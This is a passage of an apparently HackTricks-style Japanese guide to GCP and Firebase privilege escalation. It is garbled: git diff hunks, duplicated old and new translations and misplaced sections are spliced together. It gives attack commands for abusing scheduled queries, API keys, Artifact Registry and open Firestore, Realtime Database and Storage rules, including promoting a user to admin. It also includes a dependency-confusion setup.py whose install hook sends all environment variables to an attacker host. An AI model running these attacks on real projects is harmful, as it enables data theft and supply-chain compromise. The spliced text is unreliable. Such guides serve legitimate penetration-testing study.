bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
```
### Scheduled Queries の悪用
`bigquery.datasets.get``bigquery.jobs.create`、および `iam.serviceAccounts.actAs` の権限があれば、アイデンティティは dataset のメタデータを照会し、BigQuery ジョブを起動し、より高い権限を持つ Service Account を使ってそれらを実行できます。
この攻撃により、悪意のある Scheduled Queries を用いてクエリを自動化(選択した Service Account の権限で実行)することが可能になります。例えば、これにより機密データが読み取られ、攻撃者がアクセスできる別の table や dataset に書き込まれることで、データを外部に抽出することなく間接的かつ継続的な exfiltration を促進する可能性があります。
攻撃者が目的のクエリを実行するために必要な権限を持つ Service Account を特定したら、その Service Account を使って実行される Scheduled Query 設定を作成し、結果を定期的に任意の dataset に書き込ませることができます。
```bash
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
```
### バケットに対する書き込みアクセス
前述のとおり appengine versions は name フォーマットが `staging.<project-id>.appspot.com` のバケット内にいくつかのデータを生成します。GCP ユーザーはドメイン名 `appspot.com` を使ってバケットを生成する権限がないため、このバケットを事前に pre-takeover することはできません。
しかし、このバケットに対する読み取り & 書き込みアクセスがあれば、バケットを監視し、変更が行われるたびに可能な限り素早くコードを改変することで、AppEngine version に紐づいた SA に対して権限昇格を行うことが可能です。こうすることで、そのコードから作成されるコンテナは **backdoored code** を実行します。
詳細と **PoC** は下記のページの該当情報を参照してください:
{{#ref}}
gcp-serviceusage-privesc.md
gcp-storage-privesc.md
{{#endref}}
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### Artifact Registry に対する書き込みアクセス
プロジェクトでどの API が有効になっているか、または見つけた API key にどのような制限が適用されているかがわからない場合があるため、ツール [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) を実行して、**API key で何にアクセスできるか** を確認するのが有用です。
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
この権限は **API key を作成する** ことを許可します:
<details>
<summary>gcloud を使って API key を作成</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
> デフォルトでは、ユーザーは新しいプロジェクトを作成する権限があり、作成したプロジェクトに対して Owner ロールが付与されることに注意してください。したがって、ユーザーは c**reate a project and an API key inside this project**。
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
これらの権限は **list and get all the apiKeys and get the Key** を許可します:
<details>
<summary>すべての API keys を一覧・取得する</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
</details>
脆弱な環境の作成、エクスプロイト、クリーンアップを自動化するスクリプトは[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)で入手できます。
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
これらの権限により、**削除された API キーを一覧表示および再生成**できます。**undelete** が実行されると、出力に**API キーが表示されます**:
<details>
<summary>API キーの一覧表示と復元</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
</details>
### 他のワーカーをphishするための内部OAuthアプリケーションを作成する
方法については以下のページを確認してください。ただし、この操作はドキュメントによればサービス **`clientauthconfig`** に属します: [https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin)
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
{{#endref}}
App Engine が Artifact Registry 内に docker images を作成するにも関わらず、**サービス内のイメージを変更した場合でも** App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)して、**実行されるコードは変わらない** ということがテストで確認されました。\
バケットの場合と同様に **Race Condition attack を行えば実行されるコードを上書きできる可能性がある** かもしれませんが、これはテストされていません。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Artifact Registry
For more information about Artifact Registry check:
Artifact Registryに関する詳細は次を参照してください:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,10 +12,10 @@ For more information about Artifact Registry check:
### artifactregistry.repositories.uploadArtifacts
この権限があると、攻撃者はDockerイメージのような悪意あるコードを含むアーティファクトの新しいバージョンをアップロードできます:
この権限があると、攻撃者はDocker imagesのような悪意あるコードを含むアーティファクトの新しいバージョンをアップロードできます:
<details>
<summary>Artifact RegistryDocker イメージをアップロード</summary>
<summary>Artifact RegistryDocker imageをアップロード</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
</details>
> [!CAUTION]
> 確認の結果、同じ名前とタグで新しい悪意のある docker イメージをアップロードることが**可能**であるため、**古いイメージはタグを失い**、次回そのタグでイメージが**ダウンロードされると悪意のあるものがダウンロードされます**。
> 既存のイメージと同じ名前とタグで新しい**悪意のあるdocker**イメージをアップロードできることが確認されました。そのため、**古いイメージはタグを失い**、次回そのタグでイメージダウンロードすると**悪意のあるイメージがダウンロードされます**。
<details>
<summary>Upload a Python library</summary>
<summary>Pythonライブラリをアップロードする</summary>
**アップロードするライブラリを作成することから始めます**registry から最新バージョンをダウンロードできる場合この手順は不要です):
**まずアップロードするライブラリを作成します**(レジストリから最新バージョンをダウンロードできる場合この手順は省略できます):
1. **プロジェクト構成を設定する**:
- ライブラリ用の新しいディレクトリを作成します(例: `hello_world_library`)。
- このディレクトリ内に、パッケージ名のディレクトリを作成します(例: `hello_world`)。
- パッケージディレクトリ内に `__init__.py` ファイルを作成します。空でも、パッケージの初期化を含めても構いません。
- ライブラリ用の新しいディレクトリを作成します(例`hello_world_library`)。
- このディレクトリ内に、パッケージ名のディレクトリを作成します(例`hello_world`)。
- パッケージディレクトリ内に `__init__.py` ファイルを作成します。このファイルは空でも、パッケージの初期化を含めても構いません。
<details>
<summary>Create project structure</summary>
<summary>プロジェクト構成を作成</summary>
```bash
mkdir hello_world_library
@@ -55,13 +55,13 @@ touch hello_world/__init__.py
</details>
2. **ライブラリコードを書く**:
2. **ライブラリコードを書く**:
- `hello_world` ディレクトリ内にモジュール用の新しい Python ファイルを作成します(例: `greet.py`)。
- 「Hello, World!」関数を書きます:
- `hello_world` ディレクトリ内にモジュール用の新しいPythonファイルを作成します(例`greet.py`)。
- 「Hello, World!」関数を作成します:
<details>
<summary>Create library module</summary>
<summary>ライブラリモジュールを作成</summary>
```python
# hello_world/greet.py
@@ -73,11 +73,11 @@ return "Hello, World!"
3. **`setup.py` ファイルを作成する**:
- `hello_world_library` ディレクトリのルートに `setup.py` ファイルを作成します。
- このファイルはライブラリのメタデータ、Python にインストール方法を伝える情報が含まれます。
- `hello_world_library` のルートに `setup.py` ファイルを作成します。
- このファイルはライブラリのメタデータを含み、Pythonにインストール方法を伝えます。
<details>
<summary>Create setup.py file</summary>
<summary>setup.py ファイルを作成</summary>
```python
# setup.py
@@ -99,10 +99,10 @@ install_requires=[
1. **パッケージをビルドする**:
- `hello_world_library` ディレクトリのルートから以下を実行します:
- `hello_world_library` のルートからを実行します:
<details>
<summary>Build Python package</summary>
<summary>Pythonパッケージをビルド</summary>
```sh
python3 setup.py sdist bdist_wheel
@@ -110,21 +110,21 @@ python3 setup.py sdist bdist_wheel
</details>
2. **twine の認証を設定する**(パッケージアップロードするために使用):
- `twine` インストールていることを確認します(`pip install twine`)。
- 認証情報を設定するため`gcloud` を使用します:
2. **twine の認証を設定する**(パッケージアップロードに使用):
- `twine` インストールされていることを確認します(`pip install twine`)。
- 認証情報を設定するに `gcloud` を使用します
<details>
<summary>Upload package with twine</summary>
<summary>twine を使ってパッケージをアップロード</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
</details>
3. **ビルドクリーンアップする**
3. **ビルドクリーンアップ**
<details>
<summary>ビルド成果物をクリーンアップする</summary>
<summary>ビルド成果物をクリーンアップ</summary>
```bash
rm -rf dist build hello_world.egg-info
```
@@ -133,25 +133,25 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> 既に存在すると同じバージョンの python ライブラリをアップロードすることはできませんが、**より新しいバージョン**をアップロードすることは可能です(またはバージョン末尾に **`.0` を追加**することで回避できる場合があります — ただし python では動作しないことがあります)、あるいは**最後のバージョンを削除して新しいものをアップロードする**こともできます(この場合 `artifactregistry.versions.delete` が必要です)。
<details>
<summary>アーティファクトのバージョンを削除</summary>
```sh
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
```
</details>
> 既に存在するバージョンと同じバージョンのpythonライブラリをアップロードすることはできませんが、**greater versions**(もしくは可能ならバージョン末尾に追加の**`.0` at the end**を付ける — pythonでは動作しないことがあります)、または**delete the last version an upload a new one with**`artifactregistry.versions.delete)`**:**
>
> <details>
> <summary>アーティファクトのバージョンを削除</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
> ```
>
> </details>
### `artifactregistry.repositories.downloadArtifacts`
この権限があれば **アーティファクトをダウンロード** して**機密情報** や **脆弱性** を検索できます。
この権限があれば、**download artifacts**して**sensitive information**や**vulnerabilities**を検索できます。
Download a **Docker** image:
**Docker** イメージをダウンロード:
<details>
<summary>Artifact Registry から Docker イメージをダウンロード</summary>
<summary>Artifact Registryから**Docker**イメージをダウンロード</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -164,13 +164,13 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
**python** ライブラリをダウンロード:
<details>
<summary>Artifact RegistryからPythonライブラリをダウンロード</summary>
<summary>Artifact Registry から **python** ライブラリをダウンロード</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
</details>
- リモートと標準のレジストリが仮想レジストリで混在し、パッケージが両方に存在する場合はどうなりますか?のページを確認してください:
- リモートと標準のレジストリが仮想レジストリで混在し、同じパッケージが両方に存在する場合はどうなりますか?のページを確認してください:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -178,7 +178,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
レジストリからアーティファクト(例: Docker イメージ)を削除する:
レジストリからアーティファクト(例: Docker イメージ)を削除する
<details>
<summary>Artifact Registry から Docker イメージを削除</summary>
@@ -190,7 +190,7 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
### `artifactregistry.repositories.delete`
コンテンツがあってもリポジトリ全体を削除します:
リポジトリ全体を削除する(コンテンツがあっても):
<details>
<summary>Artifact Registry リポジトリを削除</summary>
@@ -201,17 +201,71 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
### `artifactregistry.repositories.setIamPolicy`
この権限を持つ攻撃者は、前述のリポジトリに対する攻撃のいくつかを実行するための権限を自に付与できる可能性があります
この権限を持つ攻撃者は、前述したいくつかのリポジトリに対する攻撃を実行するための権限を自に付与することができる。
### Artifact Registry Read & Write を通じた他サービスへのピボット
### Artifact Registry Read & Write を介した他サービスへのピボット
- **Cloud Functions**
Cloud Function が作成されると、プロジェクトの Artifact Registry に新しい docker イメージがプッシュされます。イメージを新しいものに置き換えたり、現在のイメージ(および `cache` イメージ)を削除してみても何も変わらず、Cloud Function は動作し続けました。したがって、bucket と同様に実行される docker コンテナを変更するために**Race Condition attack を悪用できる可能性あるかもしれません**が、**保存されているイメージを単に変更するだけでは Cloud Function を侵害することはできない**。
Cloud Function が作成されると、新しい docker イメージがプロジェクトの Artifact Registry にプッシュされる。私はそのイメージを新しいものに置き換えたり、現在のイメージ(および `cache` イメージ)を削除してみたが、何も変わらず、Cloud Function は動作し続けた。したがって、バケットと同様に **Race Condition attack を悪用して実行される docker コンテナを変更できる可能性ある** が、**保存されイメージを単に変更するだけでは Cloud Function を侵害することはできない**。
- **App Engine**
App Engine は Artifact Registry 内に docker イメージを作成します。テストの結果、**このサービス内のイメージを変更して** App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、**実行されるコードは変わらない**ことが確認されました。\
bucket と同様の **Race Condition attack によって実行されるコードを上書きできる可能性がある**かもしれませんが、これはテストしていません
App Engine は Artifact Registry 内に docker イメージを作成するが、**サービス内のイメージを変更して** App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、**実行されるコードは変わらない**。\
バケットと同様の **Race Condition attack を行えば実行されるコードを上書きできる可能性** はあるかもしれないが、これはテストしていない
### `artifactregistry.repositories.update`
攻撃者がこの問題を悪用するために特定の Artifact Registry 権限は必要ない — 必要なのは脆弱な virtual-repository の構成だけである。これは、virtual repository がリモートの public repository(例: PyPI、npm)と内部リポジトリを結合しており、リモートソースの優先度が同等か高い場合に発生する。両方に同名のパッケージが存在する場合、システムは最も高いバージョンを選択する。攻撃者は内部パッケージ名を知っていて、対応する public registry にパッケージを公開できればよい。
`artifactregistry.repositories.update` 権限を持っていれば、攻撃者は virtual repository の upstream 設定を変更して意図的にこの脆弱な構成を作り、Dependency Confusion を永続化手段として利用し、開発者や CI/CD が自動的にインストールする可能性のある悪意のあるパッケージを挿入できる。
攻撃者は内部パッケージの悪意あるバージョンを public repository に高いバージョン番号で作成する。Python パッケージの場合、これは正規のものと類似したパッケージ構成を用意することを意味する。
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
その後、インストール時に実行される悪意のあるコードを含む setup.py ファイルが作成される。このファイルは private repository にあるものより高いバージョン番号を指定している必要がある。
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
パッケージをビルドし、wheel を削除して、インストール時にコードが実行されるようにします。
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
悪意のあるパッケージを公開リポジトリにアップロードする(例えば、test.pypi.org は Python 用)。
```bash
pip install twine
twine upload --repository testpypi dist/*
```
システムやサービスが仮想リポジトリを使ってパッケージをインストールすると、悪意のあるバージョンの方が(バージョン番号等で)高く、リモートリポジトリの優先度が等しいかそれより高いため、正当な内部リポジトリのものではなく公開リポジトリから悪意のあるバージョンをダウンロードします。
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,21 +12,19 @@ Cloud Functions に関する詳細情報:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
これらの権限を持つ攻撃者は、**任意(悪意ある)コードを使って新しい Cloud Function を作成し、Service Account を割り当てる**ことができます。その後、メタデータから Service Account トークンを leak して、その権限にエスカレーションできます。\
関数をトリガーするための追加権限が必要場合があります。
これらの権限を持つ攻撃者は、**任意(悪意ある)コードを含む新しい Cloud Function を作成し、それに Service Account を割り当てることができます**。その後、metadata から Service Account token を leak して、その権限を奪取します。\
関数をトリガーするための追加権限が必要になる場合があります。
この手法のエクスプロイトスクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) で入手でき、事前ビルドされた .zip ファイルは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) で入手できます。
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
これらの権限を持つ攻撃者は、Function のコードを修正し、割り当てられた Service Account 変更してトークンを exfiltrating することさえできます。
これらの権限を持つ攻撃者は、**Function のコードを変更し、割り当てられた service account までも変更して、token を exfiltrating することできます**
> [!CAUTION]
> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
> cloud functions をデプロイするには、デフォルトの compute service account またはイメージのビルドに使用される service account に対する actAs 権限も必要です。
関数をトリガーするために、version 1 cloudfunctions の `.call` 権限やロール `role/run.invoker` のような追加権限が必要になる場合があります。
<details><summary>Update Cloud Function with malicious code to exfiltrate service account token</summary>
関数をトリガーするために、version 1 cloudfunctions の `.call` 権限やロール `role/run.invoker` のような追加権限が必要になる場合があります。
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
</details>
> [!CAUTION]
> エラー `Permission 'run.services.setIamPolicy' denied on resource...` が出る場合、それは `--allow-unauthenticated` パラメータを使用しており、そのための十分な権限がないことが原因です。
> エラー `Permission 'run.services.setIamPolicy' denied on resource...` が出る場合、`--allow-unauthenticated` パラメータを使用しており、それに対する十分な権限がないことが原因です。
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
この権限があれば、**関数バケットにファイルをアップロードできる署名付きURLを取得できます(ただし関数のコード自体は変更されないため、別途更新する必要があります)**
<details><summary>Cloud Function用の署名付きアップロードURLを生成</summary>
この権限があれば、**関数バケットにファイルをアップロードするための署名付きURL(ただし関数のコード自体は変更されず、別途アップデートする必要があります)を取得**できます。
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,21 +69,33 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
</details>
攻撃者の観点からこの権限だけがどれほど有用かははっきりしませんが、知っておくと良いです。
この権限単体が攻撃者の観点でどれほど有用かははっきりしませんが、知っておくと良いでしょう。
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
前述のいずれかの **`.update`** または **`.create`** 権限を自分に付与することで権限昇格できます
先に挙げた**`.update`**または**`.create`**のいずれかの権限を自分に付与して、権限昇格してください
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`
単に **`cloudfunctions`** 権限のみを持ち、**`iam.serviceAccounts.actAs`** がない場合、関数を更新することはできません。したがって、これは有効なPRIVESCではありません。
Only having **`cloudfunctions`** permissions, without **`iam.serviceAccounts.actAs`** you **関数を更新することはできません。したがって、これは有効な PRIVESC ではありません。**
### Read & Write Access over the bucket
### 関数の呼び出し
バケットに対する読み書き権限があれば、コードの変更を監視でき、バケットで更新が発生した際には**新しいコードを自分のコードに置き換えることで**、提出したbackdooredコードで新しいバージョンのCloud Functionが実行されるようにできます。
`cloudfunctions.functions.get``cloudfunctions.functions.invoke``run.jobs.run`、および run.routes.invoke の権限があれば、アイデンティティは Cloud Functions を直接呼び出すことができます。関数がパブリックトラフィックを許可しているか、呼び出し元が関数と同じネットワーク内にあることも必要です。
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
```
### バケットに対する読み取り・書き込みアクセス
バケットに対して読み取りおよび書き込みアクセスを持っている場合、コードの変更を監視でき、バケットが更新されるたびに**新しいコードを自分のコードに差し替えることができ**、その提出したbackdoored codeで新しいバージョンのCloud Functionが実行されるようにできます。
You can check more about the attack in:
@@ -97,16 +103,16 @@ You can check more about the attack in:
gcp-storage-privesc.md
{{#endref}}
ただし、自分のアカウントでバケットを作成し外部プロジェクトが書き込めるように公開権限を与えた場合、次のようなエラーが発生するため、これを使って第三者のCloud Functionsを事前に侵害することはできません:
しかし、サードパーティのCloud Functionsを事前に乗っ取るためにこれを使うことはできません。自分のアカウントでバケットを作成し外部プロジェクトが書き込めるように公開権限を与えると、次のエラーになります:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> ただし、これはDoS攻撃に利用される可能性があります。
### Read & Write Access over Artifact Registry
### Artifact Registry に対する読み取り・書き込みアクセス
Cloud Functionが作成されると、プロジェクトのArtifact Registryに新しいdockerイメージがプッシュされます。私はイメージを新しいものに置き換えたり、現在のイメージ(および `cache` イメージ)を削除してみましたが、何も変わらずCloud Functionは動作し続けました。したがって、バケットと同様に実行されるdockerコンテナを変更するために**Race Condition attackを悪用できる可能性がある**かもしれませんが、**保存されているイメージを単に変更するだけではCloud Functionを危険にさらすことはできません**
Cloud Function が作成されると、プロジェクトの Artifact Registry に新しい docker イメージがプッシュされます。私はイメージを別のものに差し替えたり、現在のイメージ(および `cache` イメージ)を削除してみましたが、何も変わらず Cloud Function は動作し続けました。したがって、バケットと同様に実行される docker コンテナを変更するために**Race Condition attack を悪用できる可能性がある**ものの、**格納されているイメージを単に変更するだけでは Cloud Function を乗っ取ることはできない**ようです
## 参考
@@ -0,0 +1,442 @@
# GCP - Firebase Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Firebase
### Firebase Realtime Databaseへの未認証アクセス
攻撃者はこの攻撃を実行するために特別なFirebaseの権限を必要としません。必要なのは、Firebase Realtime Databaseのセキュリティルールが脆弱に設定され、`.read: true` または `.write: true` により公開の読み取りまたは書き込みを許可していることだけです。
攻撃者はデータベースのURLを特定する必要があり、通常は次の形式になります: `https://<project-id>.firebaseio.com/`
このURLは、mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps)、google-services.json (Android) や GoogleService-Info.plist (iOS) といった設定ファイルの解析、webアプリケーションのソースコードの調査、またはネットワークトラフィックを調べて `*.firebaseio.com` ドメインへのリクエストを特定することで見つけられます。
攻撃者はデータベースのURLを特定し、それが公開されているかどうかを確認してからデータにアクセスし、場合によっては悪意のある情報を書き込みます。
まず、URLに .json を追加してデータベースが読み取りを許可しているかを確認します。
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
レスポンスが JSON データまたは null"Permission Denied" の代わりに)を含む場合、データベースは読み取りアクセスを許可しています。書き込みアクセスを確認するには、攻撃者は Firebase REST API を使ってテスト書き込みリクエストを送信してみることができます。
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
操作が成功した場合、データベースは書き込みアクセスも許可します。
### Cloud Firestore におけるデータの露出
攻撃者はこの攻撃を実行するために特定の Firebase の権限を必要としません。必要なのは、認証なし、または検証が不十分な状態で読み取りまたは書き込みを許可する Cloud Firestore のセキュリティルールに脆弱な設定が存在することだけです。完全なアクセスを付与する誤った設定のルールの例は次のとおりです:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
このルールは、誰でもあらゆる制限なしにすべてのドキュメントを読み書きできるようにします。 Firestore rulesは粒度が細かく、コレクションやドキュメントごとに適用されるため、特定のルールの誤りが一部のコレクションのみを露出する可能性があります。
攻撃者は Firebase Project ID を特定する必要があり、これは mobile app reverse engineering、google-services.json や GoogleService-Info.plist のような設定ファイルの解析、ウェブアプリのソースコードの調査、または firestore.googleapis.com へのリクエストを特定するためのネットワークトラフィック解析などから見つけることができます。
The Firestore REST API uses the format:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
ルールが認証なしの読み取りアクセスを許可している場合、攻撃者はコレクションとドキュメントを読み取ることができます。まず、特定のコレクションにアクセスしようとします:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
レスポンスが権限エラーではなくJSONドキュメントを含む場合、そのコレクションは公開されています。攻撃者は一般的な名前を試すかアプリケーションの構造を解析することで、アクセス可能なすべてのコレクションを列挙できます。特定のドキュメントにアクセスするには:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
ルールが未認証の書き込みアクセスを許可しているか、バリデーションが不十分な場合、攻撃者は新しいドキュメントを作成できます:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
既存のドキュメントを変更するには PATCH を使用します:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
ドキュメントを削除してサービス拒否を引き起こすには:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Firebase Storageにおけるファイルの露出
攻撃者はこの攻撃を実行するために特定のFirebase権限を必要としません。必要なのは、Firebase Storageのセキュリティルールに脆弱な設定があり、認証なしまたは検証が不十分な状態でread or write accessを許可していることだけです。Storage rulesはreadとwriteの権限を独立して制御するため、ルールの誤りによりread accessのみ、write accessのみ、あるいは両方が公開される可能性があります。完全なアクセスを許可する誤設定されたルールの例は次のとおりです:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
このルールは、すべてのドキュメントに対して制限なく読み取りおよび書き込みアクセスを許可します。Firestore のルールは細かく、コレクション単位およびドキュメント単位で適用されるため、特定のルールの誤りは一部のコレクションのみが公開される可能性があります。attacker は Firebase Project ID を特定する必要があり、これは mobile application reverse engineering、google-services.json や GoogleService-Info.plist といった設定ファイルの解析、web アプリケーションのソースコードの検査、あるいは firestore.googleapis.com へのリクエストを特定するためのネットワークトラフィック解析などによって見つけられます。
Firestore REST API は次の形式を使用します: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
ルールが unauthenticated 読み取りアクセスを許可している場合、attacker はコレクションやドキュメントを読み取ることができます。まず attacker は特定のコレクションにアクセスを試みます。
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
レスポンスが permission error の代わりにファイル一覧を返す場合、そのファイルは露出しています。attacker はパスを指定することでファイルの内容を閲覧できます:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
ルールが認証されていない書き込みアクセスを許可しているか、検証が不十分な場合、攻撃者は悪意のあるファイルをアップロードできます。REST API を経由してファイルをアップロードするには:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
攻撃者は code shells、malware payloads、または大きなファイルをアップロードして denial of service を引き起こすことができます。アプリケーションがアップロードされたファイルを処理または実行する場合、攻撃者は remote code execution を達成する可能性があります。ファイルを削除して denial of service を引き起こすには:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### 公開された Firebase Cloud Functions の呼び出し
攻撃者はこの問題を悪用するために特別な Firebase の権限を必要としません。必要なのは、Cloud Function が認証なしで HTTP 経由で公開されていることだけです。
関数は次のように不適切に構成されていると脆弱になります:
